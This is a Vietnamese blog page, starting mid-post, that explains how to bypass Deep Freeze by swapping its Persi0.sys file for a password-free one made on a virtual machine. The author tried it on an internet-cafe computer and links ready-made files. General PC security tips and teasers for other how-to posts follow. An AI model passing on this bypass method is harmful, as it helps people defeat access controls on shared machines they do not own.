Để thực hiện việc này cần boot vào môi trường PE, Linux, DOS có hỗ trợ NTFS (nếu cần), phần mềm quản lý phân vùng....
Và thành quả có được:
-Trên máy ảo, lúc chưa thay thế: Deep Freeze Standard 7.30, có pass.
- Trên máy ảo, sau khi thay thế: Deep Freeze Standard 7.22, không pass, full.
-Trên máy thật (ngoài quán net): Deep Freeze Standard 6.30, có pass, file $Persi0.sys, đóng băng tất cả phân vùng.
- Trên máy thật (ngoài quán net) sau khi thay thế: Deep Freeze Standard 6.62, thay thế file Persi0.sys (đổi tên thành $Persi0.sys), file này tạo trên máy ảo, chỉ đóng băng 1 phân vùng.
Kết quả rất khả quan.
-Trong cùng 1 phiên bản: Standard V7.22 có thể thay thế cho Standard V7.30, V6.62 thay thế V6.30... Nhưng Version 6 không thể thay thế Version 7.
-Một số trường hợp DF lỗi, có thể thay thế điểm khôi phục giả để fix lỗi.
-Trước khi thay thế, sao lưu lại file Persi0.sys cũ ($Persi0.sys) trước. Sau khi xử lý xong ta lại trả về trạng thái ban đầu của máy (lúc chưa nghịch)
Up vài file Persi0.sys (DF Standard V6, V7), không đặt mật khẩu
http://www.mediafire.com/download.php?vqvllav0dis1g8o
(Một số máy chỉ thiết lập đóng băng phân vùng hệ thống nên bạn cần sao lưu Persi0.sys ($Persi0.sys)cũ nếu không muốn phải cài lại. Vì sau khi thay thế, sẽ thiết lập đóng băng tất cả các phân vùng)
Hi vọng với topic này có thể giúp mọi người giải quyết được phần nào rắc rối của DF gây ra.
Một số lời khuyên đơn giản cho việc bảo vệ máy tính
1. Không sử dụng các keygen, các phần mềm crack, vì đó là nơi virus thường ẩn náu.
2. Luôn cập nhật Windows của bạn (cập nhật các phần mềm, bản sửa lỗi bảo mật, bản vá lỗi, gói dịch vụ của Windows).
3. Sao lưu dữ liệu quan trọng của bạn thường xuyên. Có thể bỏ dữ liệu quan trọng vào USB, CD hoặc đưa lên MediaFire,…
4. Sử dụng "chỉ" duy nhất một chương trình Anti Virus tốt.
5. Không nên mở file đính kèm email từ các nguồn không rõ hoặc các tập tin được gửi thông qua một tin nhắn.
6. Chỉ tải về phần mềm từ các nguồn đáng tin cậy.
7. Sử dụng mật khẩu mạnh. Mật khẩu nên có ít nhất tám ký tự và có chữ hoa, chữ thường, số, và các ký hiệu (@, #, &,%, *).
8. Vô hiệu hoá các Plug-in không cần thiết trong trình duyệt web của bạn. Nó sẽ giúp giữ cho bạn an toàn từ các virus độc hại.
9. Đừng đưa ra tên đầy đủ của bạn, địa chỉ, số điện thoại, hoặc thông tin cá nhân khác để bất cứ ai bạn không biết hoặc không có một nhu cầu chính đáng (trong người, qua điện thoại, qua email, hoặc Internet).
10. Tắt máy tính của bạn khi bạn không sử dụng nó. Nếu máy tính có kết nối mạng, nó có thể được tiếp xúc với một cuộc tấn công.
11. Thay thế chương trình dễ bị theo dõi (ví dụ như thay IE bằng Google Chrome hoặc FireFox).
12. Không chia sẻ ảnh trong yahoo với người lạ (virus có thể ở trong tấm ảnh đó,...)
13. Cái này các bác có máu D hay làm. Không vào các trang web đen,…
14. Bỏ chọn dấu tích khi cài các phần mềm miễn phí, thường kèm theo các toolbar của các hãng khác. Khi đã lỡ cài rồi thì nên gỡ ngay để tránh gây khó chịu khi lướt web và nặng máy!
P/S: Chúng ta hãy sử dụng các key MAK để kích hoạt bản quyền cho Windows 7 Professional, tránh dùng keygen hay công cụ bẻ khóa! (DEV_PRO)
Hướng dẫn đổi ID teamviewer đơn giản nhất
Teamview có kèm ngôn ngữ Việt
http://www.teamviewer.com/download/T...r_Setup_vi.exe
Sau khi cài đặt:
Đọc thêm »
http://www.teamviewer.com/download/T...r_Setup_vi.exe
Sau khi cài đặt:
Đọc thêm »
[Hướng dẫn] Tự động cài đặt âm thầm nhiều phần mềm chạy cùng 1 lúc với 1 cú click chuột
Sau khi cài windows xong, sau đó cài từng phần mềm của mình hay dùng và ngồi nhấn YES/NEXT. Như vậy thật quả mất quá nhiều thời gian cài phần mềm
Nay WhatLove xin chia sẽ cho mọi người Cài âm thầm cho nhiều phần mềm cùng 1 lúc với 1 cú click chuột. Với phương pháp này các bạn phải thực hiện 1 giai doạn phức tạp. Tuy phức tạp nhưng khi mang đi cài đỡ phải mất công ngồi nhấn Yes/Next/Fisnd.
Đọc thêm »
Nay WhatLove xin chia sẽ cho mọi người Cài âm thầm cho nhiều phần mềm cùng 1 lúc với 1 cú click chuột. Với phương pháp này các bạn phải thực hiện 1 giai doạn phức tạp. Tuy phức tạp nhưng khi mang đi cài đỡ phải mất công ngồi nhấn Yes/Next/Fisnd.
Đọc thêm »
Đăng ký:
Bài đăng (Atom)



